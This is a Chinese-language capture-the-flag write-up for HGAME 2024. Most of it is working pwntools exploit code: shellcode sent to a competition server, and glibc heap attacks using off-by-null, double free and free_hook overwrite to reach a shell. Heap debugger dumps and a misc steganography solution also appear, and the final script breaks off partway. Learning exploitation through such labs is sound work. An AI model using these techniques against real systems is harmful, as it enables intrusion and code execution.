    *RCX 0x233300d ◂— cdq /* 0xfff31c031fe8999 */
    RDX 0x7

    0x233300b syscall
    0x233300d cdq
    ► 0x233300e mov esi, edi
    RAX 0xfffffffffffffff4
    RBX 0x2333
    RCX 0x233300d ◂— cdq /* 0xfff31c031fe8999 */
    *RDX 0xffffffff
    • 第28行nop指令(长度是1)必须要有 个数的问题和add rsp, 0x500相配合
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    from pwn import *

    # io = process("./shellcodeMaster")
    io = remote("139.196.183.57", 31751)
    elf = ELF("./shellcodeMaster")
    context(arch='amd64', os='linux', log_level='debug')
    addr = 0x404500

    io.recv()
    payload=asm('''
    mov dx, 7
    mov ax, 10
    shl edi,12
    syscall
    cdq
    mov esi, edi
    xor eax,eax
    xor edi, edi
    syscall
    ''')
    print(hex(len(payload))) # 0x16 # read的mov要放在两个xor前面
    io.send(payload)
    # gdb.attach(io)
    # pause()
    shellcode = shellcraft.open('./flag')
    shellcode += shellcraft.read(3, addr, 0x50)
    shellcode += shellcraft.write(1, addr, 0x50)
    payload2 = b'\x90'*(0xff) + asm('shl rsp, 12; add rsp, 0x500;')
    payload2 += asm(shellcode)
    io.sendline(payload2)

    #basic orw shellcode 官方wp给出的手打orw
    # shellcode_orw = asm('''
    # push 0x67616c66
    # mov rdi,rsp rsp:0x4044f8
    # xor esi,esi
    # push 2
    # pop rax
    # syscall
    # mov rdi,rax
    # mov rsi,rsp
    # mov edx,0x100
    # xor eax,eax
    # syscall
    # mov edi,1
    # mov rsi,rsp
    # push 1
    # pop rax
    # syscall
    # ''')
    # io.sendline(b'\x90'*0xff+asm("shl rsp, 12; add rsp, 0x500;")+shellcode_orw)



    io.interactive()
    1
    hgame{1c59947fc9fe2da827468d0c14a630822431af9e}

Misc

ek1ng_want_girlfriend

题目描述:An introducation to Wireshark and also ek1ng.

提示1:尝试用Wireshark从HTTP流量中提取文件

  • 直接根据提示搜用Wireshark从HTTP流量中提取文件

    打开wireshark –> (导航栏)文件 –> 打开附件
    (导航栏)文件 –> 导出文件 –> http:在弹出的对话框中有ek1ng.jpg
    保存打开是张图片 有flag

    1
    hgame{ek1ng_want_girlfriend_qq_761042182}

ezword

https://chenxi9981.github.io/hgame2024_week2/

盲水印得到密码(但工具没下 直接py的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
Dear E-Commerce professional ; This letter was specially
selected to be sent to you . We will comply with all
removal requests ! This mail is being sent in compliance
with Senate bill 1620 ; Title 3 ; Section 308 ! This
is not a get rich scheme ! Why work for somebody else
when you can become rich in 27 MONTHS . Have you ever
noticed more people than ever are surfing the web and
more people than ever are surfing the web . Well, now
is your chance to capitalize on this ! WE will help
YOU use credit cards on your website plus turn your
business into an E-BUSINESS . You are guaranteed to
succeed because we take all the risk ! But don't believe
us . Ms Simpson who resides in Maine tried us and says
"I've been poor and I've been rich - rich is better"
. We are a BBB member in good standing ! We urge you
to contact us today for your own future financial well-being
. Sign up a friend and you'll get a discount of 50%
. Thank-you for your serious consideration of our offer
! Dear Friend ; This letter was specially selected
to be sent to you ! We will comply with all removal
requests . This mail is being sent in compliance with
Senate bill 2316 ; Title 8 , Section 301 ! Do NOT confuse
us with Internet scam artists . Why work for somebody
else when you can become rich as few as 24 WEEKS !
Have you ever noticed more people than ever are surfing
the web plus how many people you know are on the Internet
. Well, now is your chance to capitalize on this .
We will help you decrease perceived waiting time by
200% and turn your business into an E-BUSINESS . You
are guaranteed to succeed because we take all the risk
. But don't believe us . Mrs Simpson of Illinois tried
us and says "Now I'm rich many more things are possible"
! We assure you that we operate within all applicable
laws ! Do not delay - order today . Sign up a friend
and your friend will be rich too . Warmest regards
! Dear Sir or Madam ; Especially for you - this hot
information . We will comply with all removal requests
! This mail is being sent in compliance with Senate
bill 1916 ; Title 2 , Section 301 ! THIS IS NOT MULTI-LEVEL
MARKETING ! Why work for somebody else when you can
become rich in 89 days . Have you ever noticed most
everyone has a cellphone plus most everyone has a cellphone
! Well, now is your chance to capitalize on this !
WE will help YOU sell more & SELL MORE . You can begin
at absolutely no cost to you . But don't believe us
. Mr Jones of Minnesota tried us and says "I was skeptical
but it worked for me" ! We assure you that we operate
within all applicable laws ! We beseech you - act now
. Sign up a friend and you'll get a discount of 90%
. Thanks . Dear Cybercitizen ; Your email address has
been submitted to us indicating your interest in our
newsletter . If you are not interested in our publications
and wish to be removed from our lists, simply do NOT
respond and ignore this mail ! This mail is being sent
in compliance with Senate bill 2016 , Title 2 , Section
304 . This is different than anything else you've seen
! Why work for somebody else when you can become rich
in 48 weeks ! Have you ever noticed more people than
ever are surfing the web plus people love convenience
! Well, now is your chance to capitalize on this .
WE will help YOU deliver goods right to the customer's
doorstep & turn your business into an E-BUSINESS .
You can begin at absolutely no cost to you . But don't
believe us . Ms Anderson who resides in New York tried
us and says "My only problem now is where to park all
my cars" ! We are a BBB member in good standing . If
not for you then for your LOVED ONES - act now ! Sign
up a friend and you'll get a discount of 20% ! God
Bless . Dear Colleague , Your email address has been
submitted to us indicating your interest in our publication
. If you no longer wish to receive our publications
simply reply with a Subject: of "REMOVE" and you will
immediately be removed from our mailing list . This
mail is being sent in compliance with Senate bill 2416
, Title 9 ; Section 308 ! This is NOT unsolicited bulk
mail . Why work for somebody else when you can become
rich within 24 MONTHS ! Have you ever noticed most
everyone has a cellphone and people love convenience
. Well, now is your chance to capitalize on this !
We will help you decrease perceived waiting time by
190% and sell more ! The best thing about our system
is that it is absolutely risk free for you ! But don't
believe us . Mrs Anderson of Indiana tried us and says
"Now I'm rich, Rich, RICH" . This offer is 100% legal
. So make yourself rich now by ordering immediately
. Sign up a friend and your friend will be rich too
. God Bless ! Dear Colleague ; We know you are interested
in receiving amazing information ! If you are not interested
in our publications and wish to be removed from our
lists, simply do NOT respond and ignore this mail !
This mail is being sent in compliance with Senate bill
1619 , Title 7 , Section 303 ! This is not multi-level
marketing . Why work for somebody else when you can
become rich within 37 days ! Have you ever noticed
nobody is getting any younger plus people love convenience
! Well, now is your chance to capitalize on this .
WE will help YOU decrease perceived waiting time by
140% plus deliver goods right to the customer's doorstep
. You can begin at absolutely no cost to you . But
don't believe us ! Mrs Simpson of Illinois tried us
and says "I was skeptical but it worked for me" . We
are licensed to operate in all states ! Because the
Internet operates on "Internet time" you must make
a commitment soon ! Sign up a friend and you get half
off ! Thank-you for your serious consideration of our
offer . Dear Friend ; We know you are interested in
receiving amazing info ! We will comply with all removal
requests . This mail is being sent in compliance with
Senate bill 2716 , Title 5 , Section 303 ! This is
not a get rich scheme . Why work for somebody else
when you can become rich within 52 days ! Have you
ever noticed how many people you know are on the Internet
and the baby boomers are more demanding than their
parents ! Well, now is your chance to capitalize on
this . WE will help YOU decrease perceived waiting
time by 170% and turn your business into an E-BUSINESS
. You are guaranteed to succeed because we take all
the risk ! But don't believe us ! Mrs Anderson who
resides in Alabama tried us and says "Now I'm rich,
Rich, RICH" ! We are a BBB member in good standing
. So make yourself rich now by ordering immediately
! Sign up a friend and you get half off ! Thanks .
Dear Salaryman ; Especially for you - this red-hot
news ! We will comply with all removal requests . This
mail is being sent in compliance with Senate bill 1618
, Title 4 , Section 308 . THIS IS NOT MULTI-LEVEL MARKETING
. Why work for somebody else when you can become rich
inside 27 days ! Have you ever noticed nearly every
commercial on television has a .com on in it & nearly
every commercial on television has a .com on in it
! Well, now is your chance to capitalize on this !
WE will help YOU decrease perceived waiting time by
180% plus turn your business into an E-BUSINESS . You
can begin at absolutely no cost to you ! But don't
believe us ! Prof Ames who resides in Washington tried
us and says "I was skeptical but it worked for me"
. We assure you that we operate within all applicable
laws ! We implore you - act now . Sign up a friend
and you'll get a discount of 10% . Thank-you for your
serious consideration of our offer ! Dear Friend ;
This letter was specially selected to be sent to you
! If you no longer wish to receive our publications
simply reply with a Subject: of "REMOVE" and you will
immediately be removed from our club ! This mail is
being sent in compliance with Senate bill 1622 , Title
7 ; Section 303 ! Do NOT confuse us with Internet scam
artists . Why work for somebody else when you can become
rich in 10 weeks ! Have you ever noticed people will
do almost anything to avoid mailing their bills & people
love convenience ! Well, now is your chance to capitalize
on this . WE will help YOU turn your business into
an E-BUSINESS & SELL MORE . You can begin at absolutely
no cost to you ! But don't believe us . Mr Ames of
Louisiana tried us and says "Now I'm rich, Rich, RICH"
. We are licensed to operate in all states . We BESEECH
you - act now . Sign up a friend and you'll get a discount
of 50% ! Thank-you for your serious consideration of
our offer .

籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆

hgame{0k_you_s0lve_al1_th3_secr3t}

weel3

pwn

你满了,那我就漫出来了!

  • 2.27的off_by_null(但附件应该是有什么问题 运行不了 换libc也找不到)
    那就自己重新编译一个把 大部分都一样了

  • unsorttedbin是先进先出

  • p &main_arena 或 p &__malloc_hook是可以的
    x/30gx &main_arena不行
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82

    * 先是用easyheap的方法打了一下 可以泄露libc 但是double free的时候会检测到 应该需要把exp稍微调整一下
    也有可能是easyheap的小版本号比较低 没有检测 1.3以后就更新了 这样的话 这种打法应该就打不通了

    >现在,调用`int_free`时,将会检查整个`Tcache`链表,如果发现将要释放的`chunk`已存在于链表中将会报错`free(): double free detected in tcache 2`。
    >
    >https://www.anquanke.com/post/id/219292#h3-7

    ```python
    from pwn import *

    io = process("./vuln")
    elf = ELF("./vuln")
    libc = elf.libc
    context(arch='amd64', os='linux', log_level='debug')

    def add(indx, size, content):
    io.sendlineafter("choice:", b'1')
    io.sendlineafter("Index: ", str(indx))
    io.sendlineafter("Size: ", str(size))
    io.sendlineafter("Content: ", content)

    def show(indx):
    io.sendlineafter("choice:", b'2')
    io.sendlineafter('Index: ', str(indx))

    def delete(indx):
    io.sendlineafter('choice:', b'3')
    io.sendlineafter("Index: ", str(indx))

    for i in range(10):
    add(i, 0xf0, b'aaa')
    add(10, 0x10, b'protect')

    for i in range(6):
    delete(i)
    delete(9)
    # chunk678合并
    delete(6)
    delete(7)
    delete(8)

    for i in range(7):
    add(i, 0xf0, b'tcache')
    add(7, 0xf0, b'unsorted') # chunk6
    add(8, 0xf0, b'unsorted') # chunk7
    add(9, 0xf0, b'unsorted') # chunk8

    for i in range(6):
    delete(i)
    delete(8) # chunk7
    delete(7) # chunk6
    add(0, 0xf8, b'a'*0xf0+p64(0x200)) # 先取tcache中的chunk7
    # offbynull 修改chunk8的inuse位

    delete(6) # 填满tcache
    delete(9) # 合并0x300 overlapping
    for i in range(7):
    add(i+1, 0xf8, b'tcache')
    add(8, 0xf8, b'chunk6')

    show(0)
    unsorted = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    base = unsorted - 0x70 - libc.sym['__malloc_hook']
    print(hex(base))
    ogg = [0x4f2a5, 0x4f302, 0x10a2fc]
    onegadget = base + ogg[0]


    add(9, 0xf0, b'aa')
    delete(1)
    delete(2)
    delete(0)
    delete(9)
    # free(): double free detected in tcache 2



    gdb.attach(io)
    pause()

    io.interactive()
  • 一位师傅的:利用off_by_one还可以溢出 uaf

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    from pwn import *
    # context.terminal = ['tmux', 'splitw', '-h']
    context(arch = 'amd64', os = 'linux')
    context.log_level = 'debug'

    # io = remote("106.14.57.14", 31809)
    io = process("./vuln")
    elf = ELF("./vuln")
    libc = elf.libc

    def debug():
    gdb.attach(io)
    pause()

    sd = lambda s : io.send(s)
    sda = lambda s, n : io.sendafter(s, n)
    sl = lambda s : io.sendline(s)
    sla = lambda s, n : io.sendlineafter(s, n)
    rc = lambda n : io.recv(n)
    rl = lambda : io.recvline()
    rut = lambda s : io.recvuntil(s, drop=True)
    ruf = lambda s : io.recvuntil(s, drop=False)
    addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
    addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
    addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
    addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
    byte = lambda n : str(n).encode()
    info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
    sh = lambda : io.interactive()
    menu = b'Your choice:'

    def add(idx, size, data):
    sla(menu, b'1')
    sla(b'Index: ', byte(idx))
    sla(b'Size: ', byte(size))
    sda(b'Content: ', data)

    def dele(idx):
    sla(menu, b'3')
    sla(b'Index: ', byte(idx))


    def show(idx):
    sla(menu, b'2')
    sla(b'Index: ', byte(idx))


    for i in range(7):
    add(i, 0xf8, b'tcache')

    add(7, 0xf8, b'A')
    add(8, 0x20, b'B')
    add(9, 0x20, b'B')
    add(10, 0xf8, b'A')
    add(11, 0x20, b'C') # protect

    for i in range(7):
    dele(i)

    dele(7) # unsorted
    dele(9) # tcache_0x30

    # 合并chunk789
    add(9, 0x28, b'A'*0x20 + p64(0xf0+0x10+0x30+0x30))
    dele(10) # overlapping

    for i in range(7):
    add(i, 0xf8, b'tcache')

    add(7, 0xf8, b'A') # chunk7

    show(8)

    libc_base = addr8(6) - 0x3ebca0
    info("libc_base", libc_base)

    free_hook = libc_base + 0x3ed8e8
    system = libc_base + 0x4f420

    info("free_hook", free_hook)
    info("system", system)

    # chunk8 9 10是合并的
    # dele(11) # tcache 不会和topchunk合并的 不删也能通
    dele(9)

    # 从最开始chunk8开始写
    # 溢出uaf 写入system
    add(12, 0x38, b'A'*0x28 + p64(0x31) + p64(free_hook))
    #dele(12)

    add(14, 0x20, b'/bin/sh\x00')
    add(15, 0x20, p64(system))

    dele(14)
    #debug()
    sh()
    • 但是有个问题是89行写12 原来的unsortedbin是0x160 写了之后应该变0x120 但是是0x100(可能为了对齐?? 但对做题没有影响

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      pwndbg> x/30gx 0x55cf1b802a50 # unsortedbin
      0x55cf1b802a50: 0x0000000000000100 0x0000000000000161
      0x55cf1b802a60: 0x00007fe2b9618ca0 0x00007fe2b9618ca0 # main_arena
      0x55cf1b802a70: 0x0000000000000000 0x0000000000000000
      0x55cf1b802a80: 0x0000000000000000 0x0000000000000031 # 放入tcache
      0x55cf1b802a90: 0x0000000000000000 0x000055cf1b802010 # 指向最开始0x251的chunk(存放tcache结构体???)
      0x55cf1b802aa0: 0x4141414141414141 0x4141414141414141
      0x55cf1b802ab0: 0x0000000000000160 0x0000000000000100

      ------------------------------------------------------------------------
      Allocated chunk | PREV_INUSE # 原chunk8 现chunk12
      Addr: 0x55c221d28a50
      Size: 0x41

      Free chunk (unsortedbin)
      Addr: 0x55c221d28a90
      Size: 0x100
      fd: 0x7ffbf434dca0
      bk: 0x7ffbf434dca0

      Allocated chunk
      Addr: 0x55c221d28b90
      Size: 0x00

      pwndbg> x/50gx 0x55c221d28a50 # unsortedbin
      0x55c221d28a50: 0x0000000000000100 0x0000000000000041 # 原chunk8
      0x55c221d28a60: 0x4141414141414141 0x4141414141414141
      0x55c221d28a70: 0x4141414141414141 0x4141414141414141
      0x55c221d28a80: 0x4141414141414141 0x0000000000000031 # 原chunk9
      0x55c221d28a90: 0x00007ffbf434f8e8 0x0000000000000100 # fd:free_hook 这里变成unsortedbin起始 但size0x100
      0x55c221d28aa0: 0x00007ffbf434dca0 0x00007ffbf434dca0 # main_arean
      0x55c221d28ab0: 0x0000000000000160 0x0000000000000100 # 原chunk10
      0x55c221d28ac0: 0x0000000000000041 0x0000000000000000
      0x55c221d28ad0: 0x0000000000000000 0x0000000000000000
      0x55c221d28ae0: 0x0000000000000000 0x0000000000000000
      0x55c221d28af0: 0x0000000000000000 0x0000000000000000
      0x55c221d28b00: 0x0000000000000000 0x0000000000000000
      0x55c221d28b10: 0x0000000000000000 0x0000000000000000
      0x55c221d28b20: 0x0000000000000000 0x0000000000000000
      0x55c221d28b30: 0x0000000000000000 0x0000000000000000
      0x55c221d28b40: 0x0000000000000000 0x0000000000000000
      0x55c221d28b50: 0x0000000000000000 0x0000000000000000
      0x55c221d28b60: 0x0000000000000000 0x0000000000000000
      0x55c221d28b70: 0x0000000000000000 0x0000000000000000
      0x55c221d28b80: 0x0000000000000000 0x0000000000000000
      0x55c221d28b90: 0x0000000000000000 0x0000000000000000
      0x55c221d28ba0: 0x0000000000000000 0x0000000000000000
      0x55c221d28bb0: 0x0000000000000120 0x0000000000000030
      0x55c221d28bc0: 0x0000000000000043 0x0000000000000000
      0x55c221d28bd0: 0x0000000000000000 0x0000000000000000
    • 官方题解用了fastbin 就可以double free了

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      from pwn import *

      io = process("./vuln")
      elf = ELF("./vuln")
      libc = elf.libc
      context(arch='amd64', os='linux', log_level='debug')

      def add(indx, size, content):
      io.sendlineafter("choice:", b'1')
      io.sendlineafter("Index: ", str(indx))
      io.sendlineafter("Size: ", str(size))
      io.sendlineafter("Content: ", content)

      def show(indx):
      io.sendlineafter("choice:", b'2')
      io.sendlineafter('Index: ', str(indx))

      def delete(indx):
      io.sendlineafter('choice:', b'3')
      io.sendlineafter("Index: ", str(indx))

      add(0, 0xf8, b'a')
      add(1, 0x68, b'a')
      for i in range(2, 10):
      add(i, 0xf8, b'a')

      add(12, 0x68, b'a')

      for i in range(3, 10):
      delete(i)
      delete(0)
      delete(1)

      # 合并chunk0 1 2
      add(1, 0x68, b'a'*(0x60)+p64(0x170))
      delete(2) # overlapping

      add(0, 0x78, b'a') # 相当于add(0xf8) 只是分了两次 并产生了分割
      add(2, 0x78, b'a')
      show(1)

      unsorted = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
      libc_base = unsorted - 0x70 - libc.sym['__malloc_hook']
      print(hex(libc_base))
      free_hook = libc_base + libc.sym['__free_hook']
      system = libc_base + libc.sym['system']

      add(3, 0x68, b'a')
      for i in range(4, 11): # 前2个是unsortedbin中的 剩下0x21进入smallbin 然后从topchunk中分配 不是从tcache中
      add(i, 0x68, b'a')
      for i in range(4, 11):
      delete(i)

      delete(3) # 进入fastbin
      delete(12) # 进入fastbin
      delete(1) # 是id=3的chunk double free

      for i in range(4, 11):
      add(i, 0x68, b'a')
      add(1, 0x68, p64(free_hook))
      add(3, 0x68, b'/bin/sh\x00')
      add(13, 0x68, b'/bin/sh\x00')
      add(12, 0x68, p64(system))

      delete(3)

      io.interactive()
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      pwndbg> heap
      Allocated chunk | PREV_INUSE
      Addr: 0x5603132f7000
      Size: 0x251

      Free chunk (unsortedbin) | PREV_INUSE
      Addr: 0x5603132f7250
      Size: 0x271
      fd: 0x7f69f8529ca0
      bk: 0x7f69f8529ca0

      -------------------------------------------------------
      pwndbg> heap
      Allocated chunk | PREV_INUSE
      Addr: 0x5587433c9000
      Size: 0x251

      Allocated chunk | PREV_INUSE
      Addr: 0x5587433c9250
      Size: 0x81

      Allocated chunk | PREV_INUSE
      Addr: 0x5587433c92d0
      Size: 0x81

      Free chunk (unsortedbin) | PREV_INUSE
      Addr: 0x5587433c9350
      Size: 0x171
      fd: 0x7fbf2c9e7ca0
      bk: 0x7fbf2c9e7ca0

      --------------------------------------------------------
      pwndbg> x/50gx 0x559a66a40250
      0x559a66a40250: 0x0000000000000000 0x0000000000000081 #原chunk0_0xf8 现chunk0_0x78
      0x559a66a40260: 0x00007f0266000a61 0x00007f02665f4f00
      0x559a66a40270: 0x0000000000000000 0x0000000000000000
      0x559a66a40280: 0x0000000000000000 0x0000000000000000
      0x559a66a40290: 0x0000000000000000 0x0000000000000000
      0x559a66a402a0: 0x0000000000000000 0x0000000000000000
      0x559a66a402b0: 0x0000000000000000 0x0000000000000000
      0x559a66a402c0: 0x0000000000000000 0x0000000000000000
      0x559a66a402d0: 0x0000000000000000 0x0000000000000081 # 现chunk2_0x78
      0x559a66a402e0: 0x00007f0266000a61 0x00007f02665f4ca0
      0x559a66a402f0: 0x0000000000000000 0x0000000000000000
      0x559a66a40300: 0x0000000000000000 0x0000000000000000
      0x559a66a40310: 0x0000000000000000 0x0000000000000000
      0x559a66a40320: 0x0000000000000000 0x0000000000000000
      0x559a66a40330: 0x0000000000000000 0x0000000000000000
      0x559a66a40340: 0x0000000000000000 0x0000000000000000
      0x559a66a40350: 0x0000000000000100 0x0000000000000071 # 原chunk1_0x68 现chunk3
      0x559a66a40360: 0x00007f0266000a61 0x00007f02665f4ca0
      0x559a66a40370: 0x6161616161616161 0x6161616161616161
      0x559a66a40380: 0x6161616161616161 0x6161616161616161
      0x559a66a40390: 0x6161616161616161 0x6161616161616161
      0x559a66a403a0: 0x6161616161616161 0x6161616161616161
      0x559a66a403b0: 0x6161616161616161 0x6161616161616161
      0x559a66a403c0: 0x0000000000000170 0x0000000000000071
      0x559a66a403d0: 0x0000000000000000 0x0000559a66a40010

Elden Ring Ⅲ

  • largebin uaf 还是用不了给的附件 全绿

  • 啊我懂了 可以用--replace-needed 第一个参数写默认给的libc路径(可以用ldd查到)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    (pwn) ╭─yech0@pwn ~ 
    ╰─$ ldd ./vuln
    linux-vdso.so.1 (0x00007fff955d0000)
    ./2.32-0ubuntu3.2_amd64/libc.so.6 => not found
    (pwn) ╭─yech0@pwn ~
    ╰─$ patchelf --set-interpreter /home/yech0/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/ld-2.32.so --replace-needed ./2.32-0ubuntu3.2_amd64/libc.so.6 /home/yech0/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc.so.6 vuln
    (pwn) ╭─yech0@pwn ~
    ╰─$ ldd ./vuln
    linux-vdso.so.1 (0x00007fffa2df2000)
    /home/yech0/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc.so.6 (0x00007f2d6f214000)
    /home/yech0/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/ld-2.32.so => /lib64/ld-linux-x86-64.so.2 (0x00007f2d6f409000)
  • largebin相关的基础

    Large Bin

    • large bin中一共包括63个bin,每个bin中的chunk大小不一致,而是出于一定区间范围内。此外这63个bin被分成了6组,每组bin中的chunk之间的公差一致
      Large chunk的微观结构

    大于512(1024)字节的chunk称之为large chunk,large bin就是用于管理这些large chunk的

    被释放进Large Bin中的chunk,除了以前经常见到的prev_size、size、fd、bk之外,还具有fd_nextsize和bk_nextsize:

    fd_nextsize,bk_nextsize:只有chunk可先的时候才使用,不过用于较大的chunk(large chunk)
    fd_nextsize指向前一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针
    bk_nextsize指向后一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针
    一般空闲的large chunk在fd的遍历顺序中,按照由大到小的顺序排列。这样可以避免在寻找合适chunk时挨个遍历

    Large Bin的插入顺序

    在index相同的情况下:

    1、按照大小,从大到小排序(小的链接large bin)
    2、如果大小相同,按照free的时间排序
    3、多个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
    4、size最大的chunk的bk_nextsize指向最小的chunk,size最小的chunk的fd_nextsize指向最大的chunk
    ————————————————

    原文链接:https://blog.csdn.net/qq_41202237/article/details/112825556

    FIFO:将先进入的chunk设置为链头,后面插入chunk在链头的后面,取出时取出链头的下一个chunk。

    从largebin中取的时候从小的开始(不同size范围的链表中小的 同一链表中小的chunk)

    https://pic3.zhimg.com/v2-013b4b50d1e03e09f6dab79bcfb97e52_r.jpg

    也就是说 从largebin中size最小的链表的第二个chunk取 剩下的部分进入unsortedbin(unsortedbin也是FIFO 双向链表都是)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    >add(0, 0x700) # 0x700-0x730 largebin
    >add(1, 0x600)
    >add(2, 0x800) '''0x800-0x830 largebin'''
    >add(3, 0x600)
    >add(4, 0x800) '''0x800-0x830 largebin'''
    >add(5, 0x600)
    >add(6, 0x700) # 0x700-0x730 largebin
    >add(7, 0x600)
    >add(8, 0x700) # 0x700-0x730 largebin
    >add(9, 0x600)
    >add(10, 0x700) # 0x700-0x730 largebin
    >add(11, 0x600)
    >delete(0)
    >delete(2)
    >delete(4)
    >delete(6)
    >delete(8)
    >delete(10)

    >add(4, 0x500) # chunk6
  • house of apple https://blog.csdn.net/qq_61670993/article/details/136233121

    https://bbs.kanxue.com/thread-273832.htm

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    >amd64:

    >0x0:'_flags',
    >0x8:'_IO_read_ptr',
    >0x10:'_IO_read_end',
    >0x18:'_IO_read_base',
    >0x20:'_IO_write_base',
    >0x28:'_IO_write_ptr',
    >0x30:'_IO_write_end',
    >0x38:'_IO_buf_base',
    >0x40:'_IO_buf_end',
    >0x48:'_IO_save_base',
    >0x50:'_IO_backup_base',
    >0x58:'_IO_save_end',
    >0x60:'_markers',
    >0x68:'_chain',
    >0x70:'_fileno',
    >0x74:'_flags2',
    >0x78:'_old_offset',
    >0x80:'_cur_column',
    >0x82:'_vtable_offset',
    >0x83:'_shortbuf',
    >0x88:'_lock',
    >0x90:'_offset',
    >0x98:'_codecvt',
    >0xa0:'_wide_data',
    >0xa8:'_freeres_list',
    >0xb0:'_freeres_buf',
    >0xb8:'__pad5',
    >0xc0:'_mode',
    >0xc4:'_unused2',
    >0xd8:'vtable'
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    from pwn import *

    io = process("./vuln")
    elf = ELF("./vuln")
    libc = elf.libc
    context(arch='amd64', os='linux', log_level='debug')

    def add(indx, size):
    io.sendlineafter(">", b'1')
    io.sendlineafter("Index: ", str(indx))
    io.sendlineafter("Size: ", str(size))

    def delete(indx):
    io.sendlineafter(">", b'2')
    io.sendlineafter("Index: ", str(indx))

    def edit(indx, content):
    io.sendlineafter(">", b'3')
    io.sendlineafter("Index: ", str(indx))
    io.sendafter("Content: ", content)

    def show(indx):
    io.sendlineafter(">", b'4')
    io.sendlineafter("Index: ", str(indx))

    add(8, 0x508)
    add(0, 0x510)
    add(1, 0x500)
    add(2, 0x520)
    add(3, 0x500)
    delete(2)
    add(4, 0x530)

    show(2)
    largebin = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    libc_base = largebin - (0xb030-0xab90) - libc.sym['__malloc_hook']
    print('lgbin='+hex(largebin))
    print('base='+hex(libc_base))
    system = libc_base + libc.sym['system']

    edit(2, b'a'*(0x10-1)+b'b')
    show(2) # 修改了chunk2的fd&bk 导致从largebin中脱离 此时chunk2变成了malloc状态
